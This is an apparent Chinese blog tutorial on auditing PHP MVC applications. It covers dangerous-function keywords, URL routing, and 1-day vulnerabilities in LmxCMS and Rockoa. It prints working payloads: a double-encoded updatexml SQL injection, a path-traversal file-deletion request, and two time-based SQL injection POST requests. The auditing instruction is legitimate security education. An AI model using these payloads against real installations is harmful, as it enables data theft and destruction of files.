news 2026/7/30 17:23:36

代码审计-PHP专题MVC开发控制视图URL路由文件定位SQL注入文件安全1day分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
代码审计-PHP专题MVC开发控制视图URL路由文件定位SQL注入文件安全1day分析

知识点:
1、PHP审计-MVC开发-控制&模块&视图
2、PHP审计-MVC开发-SQL注入&文件安全

PHP常见漏洞关键字: SQL注入:selectinsert update mysql_query mysqli等 文件上传:$_FILES,type="file",上传,move_uploaded_file()等 XSS跨站: print print_rechosprintf die var_dump var_export等 文件包含: include include_once require require_once等 代码执行:evalassert preg_replace call_user_func call_user_func_array 命令执行: systemexecshell_exec `` passthru pcntl_exec popen proc_open等 变量覆盖: extract()parse_str()importrequestvariables()$$等 反序列化: serialize()unserialize()__construct __destruct等 其他漏洞: unlink()file_get_contents()show_source()file()fopen()等 通用关键字:$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等 注释关键字: 通过开发者对代码的优化注释搜索功能代码段
MVC流程:1、Controller截获用户发出的请求;2、Controller调用Model完成状态的读写操作;3、Controller把数据传递给View;4、View渲染最终结果并呈献给用户。 MVC各层职能:1、控制器Controller层–负责响应用户请求、准备数据,及如何展示数据。2、模块Model层–管理业务逻辑和数据库逻辑,提供连接操作数据库的抽象层。3、视图View层–负责前端模版渲染数据,通过HTML方式呈现给用户。 MVC对审计主要影响:1、文件代码定位问题2、代码过滤分析问题3、前端安全发现问题 MVC开发审计入口常见方法: 搜索法:常规或部分MVC模型源码可以采用关键字的搜索挖掘思路 功能法:框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路 对比法:可以通过前后修复版本文件及代码不同特征进行针对挖掘思路 特征法:数据库监控挖SQL注入,文件监控挖上传删除写入等,后续补充 工具法:后续讲到(IAST DAST SAST AI项目等)调试法:动态插桩调试 MVC开发审计流程方法:1、搞清URL路由对应(逻辑代码,静态页面等)2、搞清核心配置文件(提交接受,全局过滤等)3、搞清是否为开发框架(ThinkPHP,Yii等)

演示案例-代码审计-MVC层-URL路由&SQL注入&文件安全

一、LmxCMS 非框架MVC URL路由

通过URL地址判断是否是MVC



通过源码文件名判断是否是MVC

如何通过URL地址找到对应代码在哪个文件








二、LmxCMS 非框架MVC SQL注入

https://www.cnvd.org.cn/flaw/show/CNVD-2023-98192





利用方式:Payload (URL编码两次,借助解码绕过) 绕过思路:name-->url解码-->filter_sql-->url解码 Payload:1' and updatexml(0,concat(0x7e,user()),1)#完整Payload:/index.php?m=Tags&name=%2531%2527%2520%2561%256e%2564%2520%2575%2570%2564%2561%2574%2565%2578%256d%256c%2528%2530%252c%2563%256f%256e%2563%2561%2574%2528%2530%2578%2537%2565%252c%2575%2573%2565%2572%2528%2529%2529%252c%2531%2529%2523


三、LmxCMS 非框架MVC 文件删除

https://www.cnvd.org.cn/flaw/show/CNVD-2020-59469

搜索关键字

删除(unlink)->delbackdb#delOne()->BackdbAction.class.php







功能

备份数据删除->delbackdb#delOne()->BackdbAction.class.phpadmin.php?m=backdb&a=delbackdb&filename=../../1.txt


四、Rockoa 非框架MVC SQL注入(1)

参考文章:https://xz.aliyun.com/news/18185
安装搭建:http://www.rockoa.com/view_anzz.html
URL路由关系:a是方法 m是目录如果有多层目录则d是最外层目录 m由文件名|目录



insert->opendkqAction.php->addkqjs()->senddata()->zktimeAction()/task/openapi/opendkqAction.php文件下的zktimeAction方法




functionarrvalue($arr,$k,$dev=''){$val=$dev;if(isset($arr[$k]))$val=$arr[$k];return$val;}而这个arrvalue就是用来接收数组的,而这个$k就是$sn也就是sn参数。


POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1 Host:192.168.1.4:89{"xxx":{"sn":"123' and sleep(0)#"}}

五、Rockoa 非框架MVC SQL注入(2)

参考文章:https://xz.aliyun.com/news/18185
安装搭建:http://www.rockoa.com/view_anzz.html
URL:a是方法 m是目录如果有多层目录则d是最外层目录 m由文件名|目录

select->getuserid()->querydataAction()->openbaseAction.php /task/openapi/openbaseAction.php文件下的querydata方法




POST /index.php?m=openbase|openapi&d=task&a=querydata HTTP/1.1{"baseoptid":"1","basemodenum":"xxx' OR SLEEP(0.04)#"}



版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/30 17:20:44

BBWEYY 电商商家低成本获客转化解决方案:电商卖家如何用 GEO 与小程序替代部分高成本投流,含零代码SAAS、AI编程、源码定制交付

电商卖家如何用 GEO 与小程序替代部分高成本投流 摘要 在平台电商经营持续承压的背景下,电商商家普遍面临投流成本高、平台抽成高以及行业准入规则收紧等多重挑战。本文采用说明文风格,对这些问题进行拆解,并结合 BBWEYY 提供的 GEO 获客服…

作者头像 李华
网站建设 2026/7/30 17:14:57

Windows风扇控制终极配置:从新手到高手的完整教程

Windows风扇控制终极配置:从新手到高手的完整教程 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/fa/Fan…

作者头像 李华
网站建设 2026/7/30 17:14:03

暗黑破坏神2存档编辑器终极指南:5分钟学会安全修改角色装备

暗黑破坏神2存档编辑器终极指南:5分钟学会安全修改角色装备 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 还在为暗黑破坏神2的存档修改而烦恼吗?你是否曾经花费数十小时打造角色,却发现装备…

作者头像 李华